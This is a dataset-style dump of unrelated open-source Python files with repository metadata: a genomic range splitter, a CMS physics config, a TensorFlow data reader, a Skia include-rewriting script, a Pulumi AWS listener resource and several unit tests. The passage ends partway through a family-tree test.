[ "MIT" ]

null

awsf_cwl_v1/split_num.py

pkerpedjiev/tibanna

8d8333bc7757076914c2bafbd68ee24c4ad611f6

[ "MIT" ]

null

#!/usr/bin/python import sys import csv def split_num(n, M): # n : original number # M : max size for split range nsplit = n//M if nsplit*M < n: nsplit += 1 ninterval = n//nsplit ncum = 1 end = 0 res = [] while end < n: start = ncum ncum += ninterval end = ncum-1 if end > n: end = n res.append("{0}-{1}".format(start, end)) return res def split_num_given_args(): n = int(sys.argv[1]) # original number M = int(sys.argv[2]) # max size for split range print split_num(n, M) def split_chrom(chromsize_file, M): with open(chromsize_file, 'r') as f: reader = csv.reader(f, delimiter='\t') for row in reader: for interval in split_num(int(row[1]), int(M)): print ("{chr}:{interval}".format(chr=row[0], interval=interval)) if __name__ == "__main__": import argparse parser = argparse.ArgumentParser(description="Arguments") parser.add_argument("-c", "--chrom", help="Chrom.size file, tab-delimited") parser.add_argument("-M", "--max_split_size", help="Maximum split size") args = parser.parse_args() split_chrom(args.chrom, args.max_split_size)

24.72

80

0.590615

175

1,236

4.028571

0.377143

0.04539

0.031206

0.028369

0.056738

0

0.011062

0.268608

1,236

49

81

25.22449

0.768805

0.085761

0

0.104889

0

null

0

0.085714

null

0.057143

0

null

0

null

0

1

0

1

d3af3caa6c9db054915893aae3c8cc506266ac99

8,437

py

Python

analysis/config/config_UltraLegacy18.py

cms-btv-pog/jet-tagging-sf

c418e13aa4eac5522818d5f5ad3db2a0c81ec52e

[ "Apache-2.0" ]

3

2020-01-22T08:30:14.000Z

2021-12-27T18:47:43.000Z

analysis/config/config_UltraLegacy18.py

cms-btv-pog/jet-tagging-sf

c418e13aa4eac5522818d5f5ad3db2a0c81ec52e

[ "Apache-2.0" ]

null

analysis/config/config_UltraLegacy18.py

cms-btv-pog/jet-tagging-sf

c418e13aa4eac5522818d5f5ad3db2a0c81ec52e

[ "Apache-2.0" ]

null

# -*- coding: utf-8 -*- import scinum as sn import numpy as np def create_config(base_cfg): # setup the config for 2018 data from analysis.config.campaign_UltraLegacy18 import campaign as campaign_UltraLegacy18 from analysis.config.jet_tagging_sf import ch_ee, ch_emu, ch_mumu, ch_e, ch_mu cfg = base_cfg.copy(campaign=campaign_UltraLegacy18) # add datasets dataset_names = [ "data_A_ee", "data_B_ee", "data_C_ee", "data_D_ee", "data_A_emu", "data_B_emu", "data_C_emu", "data_D_emu", "data_A_mumu", "data_B_mumu", "data_C_mumu", "data_D_mumu", "data_A_e", "data_B_e", "data_C_e", "data_D_e", "data_A_mu", "data_B_mu", "data_C_mu", "data_D_mu", "tt_dl", "tt_sl", "dy_lep_10To50", #"dy_lep_50ToInf", "dy_lep_LO_50ToInf", #"dy_lep_0Jets", "dy_lep_1Jets", "dy_lep_2Jets", "st_s_lep", "st_t_t", "st_t_tbar", "st_tW_t", "st_tW_tbar", "WW", "WZ", "ZZ", "W_lep", #"ttH", #"ttWJets_lep", "ttWJets_had", "ttZJets_lep", "ttZJets_had", ] for dataset_name in dataset_names: dataset = campaign_UltraLegacy18.get_dataset(dataset_name) cfg.add_dataset(dataset) # store channels per real dataset cfg.set_aux("dataset_channels", { dataset: cfg.get_channel(dataset.name.split("_")[-1]) for dataset in cfg.datasets.values() if dataset.is_data }) # store b-tagger working points cfg.set_aux("working_points", { "deepcsv": { "loose": 0.1208, "medium": 0.4168, "tight": 0.7665, }, "deepjet": { "loose": 0.0490, "medium": 0.2783, "tight": 0.7100, } }) # luminosities per channel in /pb cfg.set_aux("lumi", { ch_ee: 59830., ch_emu: 59830., ch_mumu: 59830., ch_e: 59830., ch_mu: 59830., }) # run ranges rr = cfg.set_aux("run_ranges", { "A": (315252, 316995), "B": (316998, 319312), "C": (319313, 320393), "D": (320394, 325273), }) # global tags cfg.set_aux("global_tag", { "data": "106X_dataRun2_v28", "mc": "106X_upgrade2018_realistic_v11_L1v1", }) # lumi, normtag and pileup file cfg.set_aux("lumi_file", "/afs/cern.ch/cms/CAF/CMSCOMM/COMM_DQM/certification/Collisions18/13TeV/" "Legacy_2018/Cert_314472-325175_13TeV_Legacy2018_Collisions18_JSON.txt") # https://twiki.cern.ch/twiki/bin/view/CMS/TWikiLUM cfg.set_aux("normtag_file", "/cvmfs/cms-bril.cern.ch/cms-lumi-pog/Normtags/normtag_PHYSICS.json") cfg.set_aux("pileup_file", "/afs/cern.ch/cms/CAF/CMSCOMM/COMM_DQM/certification/Collisions18/13TeV/" "PileUp/pileup_latest.txt") # triggers # https://twiki.cern.ch/twiki/bin/view/CMS/TopTriggerYear2018 cfg.set_aux("triggers", { ch_ee: [ "HLT_Ele23_Ele12_CaloIdL_TrackIdL_IsoVL_v*", "HLT_Ele23_Ele12_CaloIdL_TrackIdL_IsoVL_DZ_v*", ], ch_emu: [ "HLT_Mu23_TrkIsoVVL_Ele12_CaloIdL_TrackIdL_IsoVL_v*", "HLT_Mu23_TrkIsoVVL_Ele12_CaloIdL_TrackIdL_IsoVL_DZ_v*", "HLT_Mu12_TrkIsoVVL_Ele23_CaloIdL_TrackIdL_IsoVL_DZ_v*", "HLT_Mu8_TrkIsoVVL_Ele23_CaloIdL_TrackIdL_IsoVL_DZ_v*", ], ch_mumu: [ "HLT_Mu17_TrkIsoVVL_Mu8_TrkIsoVVL_DZ_Mass3p8_v*", "HLT_Mu17_TrkIsoVVL_Mu8_TrkIsoVVL_DZ_Mass8_v*", ], ch_e: [ "HLT_Ele35_WPTight_Gsf_v*", "HLT_Ele28_eta2p1_WPTight_Gsf_HT150_v*", ], ch_mu: [ "HLT_IsoMu24_v*", ], }) # special triggers per real dataset cfg.set_aux("data_triggers", {}) # MET filters # https://twiki.cern.ch/twiki/bin/view/CMS/MissingETOptionalFiltersRun2 cfg.set_aux("metFilters", { "data": [ "Flag_goodVertices", "Flag_globalSuperTightHalo2016Filter", "Flag_HBHENoiseFilter", "Flag_HBHENoiseIsoFilter", "Flag_EcalDeadCellTriggerPrimitiveFilter", "Flag_BadPFMuonFilter", #"Flag_BadChargedCandidateFilter", "Flag_eeBadScFilter", #"Flag_ecalBadCalibReducedMINIAODFilter", ], "mc": [ "Flag_goodVertices", "Flag_globalSuperTightHalo2016Filter", "Flag_HBHENoiseFilter", "Flag_HBHENoiseIsoFilter", "Flag_EcalDeadCellTriggerPrimitiveFilter", "Flag_BadPFMuonFilter", #"Flag_BadChargedCandidateFilter", #"Flag_ecalBadCalibReducedMINIAODFilter", ], }) # JER cfg.set_aux("jer_version", "Summer19UL18_JRV2") # JES cfg.set_aux("jes_version", { "data": [ rr["A"] + ("Summer19UL18_RunA_V5_DATA",), rr["B"] + ("Summer19UL18_RunB_V5_DATA",), rr["C"] + ("Summer19UL18_RunC_V5_DATA",), rr["D"] + ("Summer19UL18_RunD_V5_DATA",), ], "mc": [ (1, int(1e9), "Summer19UL18_V5_MC"), ], }) # JES veto maps cfg.set_aux("jes_veto_map", { "file": "Summer19UL18_V1/hotjets-UL18.root", "hist_name": "h2hot_ul18_plus_hem1516_plus_hbp2m1", }) cfg.set_aux("jes_uncertainty_file", { "factorized": None, # take file from jes github "reduced": "", }) # https://github.com/cms-sw/cmssw/blob/master/SimGeneral/MixingModule/python/mix_2018_25ns_UltraLegacy_PoissonOOTPU_cfi.py cfg.set_aux("pileup_mc", [ 8.89374611122e-07, 1.1777062868e-05, 3.99725585118e-05, 0.000129888015252, 0.000265224848687, 0.000313088635109, 0.000353781668514, 0.000508787237162, 0.000873670065767, 0.00147166880932, 0.00228230649018, 0.00330375581273, 0.00466047608406, 0.00624959203029, 0.00810375867901, 0.010306521821, 0.0129512453978, 0.0160303925502, 0.0192913204592, 0.0223108613632, 0.0249798930986, 0.0273973789867, 0.0294402350483, 0.031029854302, 0.0324583524255, 0.0338264469857, 0.0351267479019, 0.0360320204259, 0.0367489568401, 0.0374133183052, 0.0380352633799, 0.0386200967002, 0.039124376968, 0.0394201612616, 0.0394673457109, 0.0391705388069, 0.0384758587461, 0.0372984548399, 0.0356497876549, 0.0334655175178, 0.030823567063, 0.0278340752408, 0.0246009685048, 0.0212676009273, 0.0180250593982, 0.0149129830776, 0.0120582333486, 0.00953400069415, 0.00738546929512, 0.00563442079939, 0.00422052915668, 0.00312446316347, 0.00228717533955, 0.00164064894334, 0.00118425084792, 0.000847785826565, 0.000603466454784, 0.000419347268964, 0.000291768785963, 0.000199761337863, 0.000136624574661, 9.46855200945e-05, 6.80243180179e-05, 4.94806013765e-05, 3.53122628249e-05, 2.556765786e-05, 1.75845711623e-05, 1.23828210848e-05, 9.31669724108e-06, 6.0713272037e-06, 3.95387384933e-06, 2.02760874107e-06, 1.22535149516e-06, 9.79612472109e-07, 7.61730246474e-07, 4.2748847738e-07, 2.41170461205e-07, 1.38701083552e-07, 3.37678010922e-08, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0 ]) # https://twiki.cern.ch/twiki/bin/viewauth/CMS/PileupJSONFileforData#Pileup_JSON_Files_For_Run_II cfg.set_aux("min_bias_xs", sn.Number(69.2, (sn.Number.REL, 0.046))) # mb # file merging information (stage -> dataset -> files after merging) cfg.set_aux("file_merging", { "trees": { "data_D_e": 2, "data_A_mu": 2, "data_D_mu": 3, "tt_dl": 456, "tt_sl": 491, "dy_lep_LO_50ToInf": 30, "st_s_lep": 14, "st_t_t": 14, "st_t_tbar": 7, "st_tW_t": 34, "st_tW_tbar": 31, "WW": 3, "WZ": 2, "W_lep": 3 } }) # versions cfg.set_aux("versions", { "WriteTrees": "prod2", # including SL events "MergeTrees": "prod2", "MergeMetaData": "prod2", "WriteHistograms": "prod2", "MergeHistograms": "prod2", "MeasureCScaleFactors": "prod1", "MeasureScaleFactors": "prod1", "FitScaleFactors": "prod1", "BundleScaleFactors": "prod1", "GetScaleFactorWeights": "prod1", "MergeScaleFactorWeights": "prod1", "OptimizeBinning": "prod1", "CreateScaleFactorResults": "prod1", }) return cfg

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8,437

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37.497778

0.537136

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null

0

1

0

null

0

1

6c90866da3558fa85354b9fb39f92f13564b2e73

469

py

Python

src/py_call.py

Lucien-MG/htools

c7cce486a101b182b03f0ac69e168b767a5c8d16

[ "MIT" ]

null

src/py_call.py

Lucien-MG/htools

c7cce486a101b182b03f0ac69e168b767a5c8d16

[ "MIT" ]

null

src/py_call.py

Lucien-MG/htools

c7cce486a101b182b03f0ac69e168b767a5c8d16

[ "MIT" ]

null

#/bin/python3 import os import subprocess # Const: with open("config",'r') as conf: VENV_A = conf.read() PYTHON="python" PYTHON3_VENV_A = os.path.join(VENV_A, "bin", "python3") PIP="" PIP_VENV_A= os.path.join(VENV_A, "bin", "pip3") # Functions: def python_call(argv): subprocess.call([PYTHON, argv]) def python_vcall(argv): subprocess.check_output([PYTHON3_VENV_A, argv]) def pip_vinstall(argv): subprocess.check_output([PIP_VENV_A, argv])

17.37037

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0.697228

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469

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0.11254

0.07717

0.07074

0.14791

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0.144989

469

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0.763092

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0

null

0

null

0

1

0

1

6c9944dc5b1ae363873ef1748ed4ad89a74178d6

261

py

Python

register_classes.py

Iherrbenza/SMB100A_Python

80af83faa306a31f323869c2d20f121bb941d85b

[ "BSD-3-Clause" ]

null

register_classes.py

Iherrbenza/SMB100A_Python

80af83faa306a31f323869c2d20f121bb941d85b

[ "BSD-3-Clause" ]

null

register_classes.py

Iherrbenza/SMB100A_Python

80af83faa306a31f323869c2d20f121bb941d85b

[ "BSD-3-Clause" ]

null

# @Date: 2020-04-05T14:08:33+10:00 # @Last modified time: 2020-04-08T18:40:22+10:00 from labscript_devices import register_classes register_classes( 'SMB100A', BLACS_tab='labscript_devices.SMB100A.blacs_tabs.SMB100ATab', runviewer_parser=None )

23.727273

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0.126437

261

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0.265537

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true

0

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0.166667

0

null

0

null

0

1

0

1

6c9d70099a722ba2fbced930795b4aaa3c0d43d3

3,044

py

Python

Super_TF/Dataset_IO/Classification/Dataset_reader_classification.py

Dhruv-Mohan/Super_TF

c693663adc59947cb7d15bd42ff260b7d3de6bdc

[ "MIT" ]

8

2017-10-29T18:50:49.000Z

2020-09-23T10:55:27.000Z

Super_TF/Dataset_IO/Classification/Dataset_reader_classification.py

Dhruv-Mohan/Tensorflow_Playground

c693663adc59947cb7d15bd42ff260b7d3de6bdc

[ "MIT" ]

null

Super_TF/Dataset_IO/Classification/Dataset_reader_classification.py

Dhruv-Mohan/Tensorflow_Playground

c693663adc59947cb7d15bd42ff260b7d3de6bdc

[ "MIT" ]

1

2021-01-27T09:32:53.000Z

from utils.Dataset_reader import Dataset_reader from Dataset_IO.Classification.Dataset_conifg_classification import Dataset_conifg_classification import Dataset_IO.Classification.Dataset_classification_pb2 as proto import tensorflow as tf import os #TODO: ADD TFRECORDS AND MEANPROTO READING CHECKS class Dataset_reader_classification(Dataset_reader,Dataset_conifg_classification): """Implementation of Dataset reader for classification""" def __init__(self, filename=None, epochs=100, num_classes=18): super().__init__() with tf.name_scope('Dataset_Classification_Reader') as scope: self.batch_size = tf.placeholder(tf.int32, name='Dataset_batch_size') self.num_classes = num_classes self.open_dataset(filename=filename, epochs=epochs) self.mean_header_proto = proto.Image_set() dataset_path, dataset_name = os.path.split(filename) common_name, _ = os.path.splitext(dataset_name) mean_file_path = os.path.join(dataset_path,common_name +'_mean.proto') with open(mean_file_path,"rb") as mean_header_file: self.mean_header_proto.ParseFromString(mean_header_file.read()) self.image_shape = [self.mean_header_proto.Image_headers.image_height, self.mean_header_proto.Image_headers.image_width, self.mean_header_proto.Image_headers.image_depth] mean_image_data = self.mean_header_proto.mean_data self.mean_image = tf.image.convert_image_dtype(tf.image.decode_image(mean_image_data), tf.float32) self.mean_image.set_shape(self.image_shape) self.images , self.one_hot_labels = self.batch_inputs() def single_read(self): features = tf.parse_single_example(self.serialized_example, features=self._Feature_dict) image = tf.image.decode_image(features[self._Image_handle]) image.set_shape(self.image_shape) image = tf.image.convert_image_dtype(image, tf.float32) image = image - self.mean_image return image , features[self._Label_handle] def pre_process_image(self,pre_process_op): with tf.name_scope('Pre_Processing_op') as scope: self.images = pre_process_op(self.images) def batch_inputs(self): image , label = self.single_read() images , sparse_labels = tf.train.shuffle_batch([image , label], batch_size=self.batch_size, num_threads=8, capacity=5000+128, min_after_dequeue=5000) one_hot_labels = tf.one_hot(sparse_labels,self.num_classes) return images, one_hot_labels #TODO: CONFIGURABLE PARAMS def next_batch(self, batch_size=1, sess=None): with tf.name_scope('Batch_getter') as scope: if sess is None : self.sess = tf.get_default_session() else: self.sess = sess images , labels = self.sess.run([self.images , self.one_hot_labels], feed_dict={self.batch_size : batch_size}) return images , labels

42.873239

182

0.704993

401

3,044

5.012469

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0.035821

0.041791

0.056716

0.171642

0.135323

0.053731

0

0.010369

0.20795

3,044

70

183

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0.82331

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0.014286

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1

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false

0

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0

null

0

null

0

1

0

1

6ca00e46178f8bac44744669d606c5898da9f6e3

2,254

py

Python

tools/rewrite_includes.py

Shachlan/skia

633db4db7672fd55b48ba1073256853e00f18d8c

[ "BSD-3-Clause" ]

6

2018-10-20T10:53:55.000Z

2021-12-25T07:58:57.000Z

tools/rewrite_includes.py

Shachlan/skia

633db4db7672fd55b48ba1073256853e00f18d8c

[ "BSD-3-Clause" ]

null

tools/rewrite_includes.py

Shachlan/skia

633db4db7672fd55b48ba1073256853e00f18d8c

[ "BSD-3-Clause" ]

9

2018-10-31T03:07:11.000Z

2021-08-06T08:53:21.000Z

#!/usr/bin/python2 # # Copyright 2019 Google Inc. # # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import os roots = [ 'bench', 'dm', 'docs', 'example', 'experimental', 'fuzz', 'gm', 'include', 'modules', 'platform_tools/android/apps', 'samplecode', 'src', 'tests', 'third_party/etc1', 'third_party/gif', 'tools' ] # Map short name -> absolute path for all Skia headers. headers = {} for root in roots: for path, _, files in os.walk(root): for file_name in files: if file_name.endswith('.h'): if file_name in headers: print path, file_name, headers[file_name] assert file_name not in headers headers[file_name] = os.path.abspath(os.path.join(path, file_name)) # Rewrite any #includes relative to Skia's top-level directory. for root in roots: for path, _, files in os.walk(root): if 'generated' in path: continue for file_name in files: if (file_name.endswith('.h') or file_name.endswith('.c') or file_name.endswith('.m') or file_name.endswith('.mm') or file_name.endswith('.inc') or file_name.endswith('.fp') or file_name.endswith('.cc') or file_name.endswith('.cpp')): # Read the whole file into memory. file_path = os.path.join(path, file_name) lines = open(file_path).readlines() # Write it back out again line by line with substitutions for #includes. with open(file_path, 'w') as output: includes = [] for line in lines: parts = line.split('"') if (len(parts) == 3 and '#' in parts[0] and 'include' in parts[0] and os.path.basename(parts[1]) in headers): header = headers[os.path.basename(parts[1])] includes.append(parts[0] + '"%s"' % os.path.relpath(header, '.') + parts[2]) else: for inc in sorted(includes): print >>output, inc.strip('\n') includes = [] print >>output, line.strip('\n')

28.531646

80

0.550577

287

2,254

4.233449

0.421603

0.118519

0.103704

0.192593

0.159671

0.123457

0

0.008513

0.322538

2,254

78

81

28.897436

0.787164

0.159716

0

0.133333

0

0.09782

0.014354

0

0.016667

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null

0

0.016667

null

0.05

0

null

0

null

0

1

0

1

6ca2384cbcb96f1ed16b80307991583b5132ac71

598

py

Python

unit_tests/test_class_query.py

usc-isi-i2/gaia-question-sparql

fb40ea6259686997ad9d805729fcca80516ddf92

[ "MIT" ]

null

unit_tests/test_class_query.py

usc-isi-i2/gaia-question-sparql

fb40ea6259686997ad9d805729fcca80516ddf92

[ "MIT" ]

null

unit_tests/test_class_query.py

usc-isi-i2/gaia-question-sparql

fb40ea6259686997ad9d805729fcca80516ddf92

[ "MIT" ]

null

import unittest import sys import os sys.path.append('../') from src.class_query import ClassQuery from src.query_tool import QueryTool, Mode base_path = os.path.dirname(__file__) cq = ClassQuery(base_path + '/sample_queries/class_queries.xml') class TestClassQuery(unittest.TestCase): def test_class_cluster(self): qt = QueryTool(base_path + '/sample_ttls/doc1.ttl', Mode.CLUSTER) responses, stat, errors = cq.ask_all(qt) res = [len(x.find('justifications')) for x in responses.getchildren()] self.assertFalse(errors) self.assertEqual(res, [2, 1])

28.47619

78

0.712375

81

598

5.074074

0.592593

0.058394

0.068127

0

0.006012

0.165552

598

20

79

29.9

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false

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0.466667

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null

0

null

0

1

0

1

6ca7fb675928141bb07d0f78ee1eb39e58fe4eda

296

py

Python

NetCatKS/DProtocol/api/interfaces/storage/__init__.py

dimddev/NetCatKS-CP

2d9e72b2422e344569fd4eb154866b98e9707561

[ "BSD-2-Clause" ]

null

NetCatKS/DProtocol/api/interfaces/storage/__init__.py

dimddev/NetCatKS-CP

2d9e72b2422e344569fd4eb154866b98e9707561

[ "BSD-2-Clause" ]

null

NetCatKS/DProtocol/api/interfaces/storage/__init__.py

dimddev/NetCatKS-CP

2d9e72b2422e344569fd4eb154866b98e9707561

[ "BSD-2-Clause" ]

null

__author__ = 'dimd' from zope.interface import Interface, Attribute class IProtocolStogareInterface(Interface): """ This interface define our session storage Every custom storage have to implement this Interface """ session = Attribute(""" Container for our session """)

21.142857

58

0.722973

31

296

6.774194

0.677419

0.12381

0

0.199324

296

14

58

21.142857

0.886076

0.320946

0

0.17033

0

1

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false

0

0.25

0

0.75

0

null

0

null

0

1

0

1

6caacd92f800cd39592b48cdfb06a9aeead365f0

10,543

py

Python

sdk/python/pulumi_aws_native/elasticloadbalancingv2/listener.py

AaronFriel/pulumi-aws-native

5621690373ac44accdbd20b11bae3be1baf022d1

[ "Apache-2.0" ]

29

2021-09-30T19:32:07.000Z

2022-03-22T21:06:08.000Z

sdk/python/pulumi_aws_native/elasticloadbalancingv2/listener.py

AaronFriel/pulumi-aws-native

5621690373ac44accdbd20b11bae3be1baf022d1

[ "Apache-2.0" ]

232

2021-09-30T19:26:26.000Z

2022-03-31T23:22:06.000Z

sdk/python/pulumi_aws_native/elasticloadbalancingv2/listener.py

AaronFriel/pulumi-aws-native

5621690373ac44accdbd20b11bae3be1baf022d1

[ "Apache-2.0" ]

4

2021-11-10T19:42:01.000Z

2022-02-05T10:15:49.000Z

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from .. import _utilities from . import outputs from ._inputs import * __all__ = ['ListenerArgs', 'Listener'] @pulumi.input_type class ListenerArgs: def __init__(__self__, *, default_actions: pulumi.Input[Sequence[pulumi.Input['ListenerActionArgs']]], load_balancer_arn: pulumi.Input[str], alpn_policy: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, certificates: Optional[pulumi.Input[Sequence[pulumi.Input['ListenerCertificateArgs']]]] = None, port: Optional[pulumi.Input[int]] = None, protocol: Optional[pulumi.Input[str]] = None, ssl_policy: Optional[pulumi.Input[str]] = None): """ The set of arguments for constructing a Listener resource. """ pulumi.set(__self__, "default_actions", default_actions) pulumi.set(__self__, "load_balancer_arn", load_balancer_arn) if alpn_policy is not None: pulumi.set(__self__, "alpn_policy", alpn_policy) if certificates is not None: pulumi.set(__self__, "certificates", certificates) if port is not None: pulumi.set(__self__, "port", port) if protocol is not None: pulumi.set(__self__, "protocol", protocol) if ssl_policy is not None: pulumi.set(__self__, "ssl_policy", ssl_policy) @property @pulumi.getter(name="defaultActions") def default_actions(self) -> pulumi.Input[Sequence[pulumi.Input['ListenerActionArgs']]]: return pulumi.get(self, "default_actions") @default_actions.setter def default_actions(self, value: pulumi.Input[Sequence[pulumi.Input['ListenerActionArgs']]]): pulumi.set(self, "default_actions", value) @property @pulumi.getter(name="loadBalancerArn") def load_balancer_arn(self) -> pulumi.Input[str]: return pulumi.get(self, "load_balancer_arn") @load_balancer_arn.setter def load_balancer_arn(self, value: pulumi.Input[str]): pulumi.set(self, "load_balancer_arn", value) @property @pulumi.getter(name="alpnPolicy") def alpn_policy(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]: return pulumi.get(self, "alpn_policy") @alpn_policy.setter def alpn_policy(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]): pulumi.set(self, "alpn_policy", value) @property @pulumi.getter def certificates(self) -> Optional[pulumi.Input[Sequence[pulumi.Input['ListenerCertificateArgs']]]]: return pulumi.get(self, "certificates") @certificates.setter def certificates(self, value: Optional[pulumi.Input[Sequence[pulumi.Input['ListenerCertificateArgs']]]]): pulumi.set(self, "certificates", value) @property @pulumi.getter def port(self) -> Optional[pulumi.Input[int]]: return pulumi.get(self, "port") @port.setter def port(self, value: Optional[pulumi.Input[int]]): pulumi.set(self, "port", value) @property @pulumi.getter def protocol(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "protocol") @protocol.setter def protocol(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "protocol", value) @property @pulumi.getter(name="sslPolicy") def ssl_policy(self) -> Optional[pulumi.Input[str]]: return pulumi.get(self, "ssl_policy") @ssl_policy.setter def ssl_policy(self, value: Optional[pulumi.Input[str]]): pulumi.set(self, "ssl_policy", value) class Listener(pulumi.CustomResource): @overload def __init__(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, alpn_policy: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, certificates: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ListenerCertificateArgs']]]]] = None, default_actions: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ListenerActionArgs']]]]] = None, load_balancer_arn: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, protocol: Optional[pulumi.Input[str]] = None, ssl_policy: Optional[pulumi.Input[str]] = None, __props__=None): """ Resource Type definition for AWS::ElasticLoadBalancingV2::Listener :param str resource_name: The name of the resource. :param pulumi.ResourceOptions opts: Options for the resource. """ ... @overload def __init__(__self__, resource_name: str, args: ListenerArgs, opts: Optional[pulumi.ResourceOptions] = None): """ Resource Type definition for AWS::ElasticLoadBalancingV2::Listener :param str resource_name: The name of the resource. :param ListenerArgs args: The arguments to use to populate this resource's properties. :param pulumi.ResourceOptions opts: Options for the resource. """ ... def __init__(__self__, resource_name: str, *args, **kwargs): resource_args, opts = _utilities.get_resource_args_opts(ListenerArgs, pulumi.ResourceOptions, *args, **kwargs) if resource_args is not None: __self__._internal_init(resource_name, opts, **resource_args.__dict__) else: __self__._internal_init(resource_name, *args, **kwargs) def _internal_init(__self__, resource_name: str, opts: Optional[pulumi.ResourceOptions] = None, alpn_policy: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None, certificates: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ListenerCertificateArgs']]]]] = None, default_actions: Optional[pulumi.Input[Sequence[pulumi.Input[pulumi.InputType['ListenerActionArgs']]]]] = None, load_balancer_arn: Optional[pulumi.Input[str]] = None, port: Optional[pulumi.Input[int]] = None, protocol: Optional[pulumi.Input[str]] = None, ssl_policy: Optional[pulumi.Input[str]] = None, __props__=None): if opts is None: opts = pulumi.ResourceOptions() if not isinstance(opts, pulumi.ResourceOptions): raise TypeError('Expected resource options to be a ResourceOptions instance') if opts.version is None: opts.version = _utilities.get_version() if opts.id is None: if __props__ is not None: raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource') __props__ = ListenerArgs.__new__(ListenerArgs) __props__.__dict__["alpn_policy"] = alpn_policy __props__.__dict__["certificates"] = certificates if default_actions is None and not opts.urn: raise TypeError("Missing required property 'default_actions'") __props__.__dict__["default_actions"] = default_actions if load_balancer_arn is None and not opts.urn: raise TypeError("Missing required property 'load_balancer_arn'") __props__.__dict__["load_balancer_arn"] = load_balancer_arn __props__.__dict__["port"] = port __props__.__dict__["protocol"] = protocol __props__.__dict__["ssl_policy"] = ssl_policy __props__.__dict__["listener_arn"] = None super(Listener, __self__).__init__( 'aws-native:elasticloadbalancingv2:Listener', resource_name, __props__, opts) @staticmethod def get(resource_name: str, id: pulumi.Input[str], opts: Optional[pulumi.ResourceOptions] = None) -> 'Listener': """ Get an existing Listener resource's state with the given name, id, and optional extra properties used to qualify the lookup. :param str resource_name: The unique name of the resulting resource. :param pulumi.Input[str] id: The unique provider ID of the resource to lookup. :param pulumi.ResourceOptions opts: Options for the resource. """ opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id)) __props__ = ListenerArgs.__new__(ListenerArgs) __props__.__dict__["alpn_policy"] = None __props__.__dict__["certificates"] = None __props__.__dict__["default_actions"] = None __props__.__dict__["listener_arn"] = None __props__.__dict__["load_balancer_arn"] = None __props__.__dict__["port"] = None __props__.__dict__["protocol"] = None __props__.__dict__["ssl_policy"] = None return Listener(resource_name, opts=opts, __props__=__props__) @property @pulumi.getter(name="alpnPolicy") def alpn_policy(self) -> pulumi.Output[Optional[Sequence[str]]]: return pulumi.get(self, "alpn_policy") @property @pulumi.getter def certificates(self) -> pulumi.Output[Optional[Sequence['outputs.ListenerCertificate']]]: return pulumi.get(self, "certificates") @property @pulumi.getter(name="defaultActions") def default_actions(self) -> pulumi.Output[Sequence['outputs.ListenerAction']]: return pulumi.get(self, "default_actions") @property @pulumi.getter(name="listenerArn") def listener_arn(self) -> pulumi.Output[str]: return pulumi.get(self, "listener_arn") @property @pulumi.getter(name="loadBalancerArn") def load_balancer_arn(self) -> pulumi.Output[str]: return pulumi.get(self, "load_balancer_arn") @property @pulumi.getter def port(self) -> pulumi.Output[Optional[int]]: return pulumi.get(self, "port") @property @pulumi.getter def protocol(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "protocol") @property @pulumi.getter(name="sslPolicy") def ssl_policy(self) -> pulumi.Output[Optional[str]]: return pulumi.get(self, "ssl_policy")

42.003984

134

0.650858

1,154

10,543

5.619584

0.123917

0.0899

0.084965

0.057826

0.661372

0.573015

0.467849

0.402621

0.341557

0.259676

0

0.000497

0.236271

10,543

250

135

42.172

0.804893

0.095608

0

0.405263

1

0

0.125334

0.021992

0

1

0.147368

false

0.005263

0.036842

0.078947

0.278947

0

null

0

1

0

null

0

1

6cad74d49e4e9a08a93a53a5673e980c74cb3858

3,074

py

Python

tests/test_individual.py

viswanathareddya/Geektrust_in_family

197d4d0eadf191e1ef9d7d21d6d81d62645169c2

[ "MIT" ]

null

tests/test_individual.py

viswanathareddya/Geektrust_in_family

197d4d0eadf191e1ef9d7d21d6d81d62645169c2

[ "MIT" ]

null

tests/test_individual.py

viswanathareddya/Geektrust_in_family

197d4d0eadf191e1ef9d7d21d6d81d62645169c2

[ "MIT" ]

null

import unittest from Familytree.individual import Person from Familytree import variables class Testperson(unittest.TestCase): def setUp(self): self.person = Person(1, "Jane", "Female") def test_initialization(self): # check instance self.assertEqual(isinstance(self.person, Person), True) # check properties self.assertEqual(self.person.id, 1) self.assertEqual(self.person.name, "Jane") self.assertEqual(self.person.gender, "Female") self.assertEqual(self.person.mother, None) self.assertEqual(self.person.father, None) self.assertEqual(self.person.spouse, None) self.assertEqual(self.person.children, []) def test_assign_mother(self): mother_error_case = "error_value" mother_error_male_case = Person(2, "male_person", "Male") mother_success_case = Person(3, "Mother", "Female") # error case self.assertRaises(ValueError, self.person.assign_mother, mother_error_case) self.assertRaises(ValueError, self.person.assign_mother, mother_error_male_case) # success case self.person.assign_mother(mother_success_case) self.assertEqual(self.person.mother.name, "Mother") self.assertTrue(self.person.mother.gender, "Female") def test_assign_father(self): father_error_case = "error_value" father_error_female_case = Person(2, "female_father", "Female") father_success_case = Person(3, "Father", "Male") # error cases self.assertRaises(ValueError, self.person.assign_father, father_error_case) self.assertRaises(ValueError, self.person.assign_father, father_error_female_case) # success case self.person.assign_father(father_success_case) self.assertEqual(self.person.father.name, "Father") self.assertTrue(self.person.father.gender, "Male") def test_assign_spouse(self): spouse_error_case = "error_value" 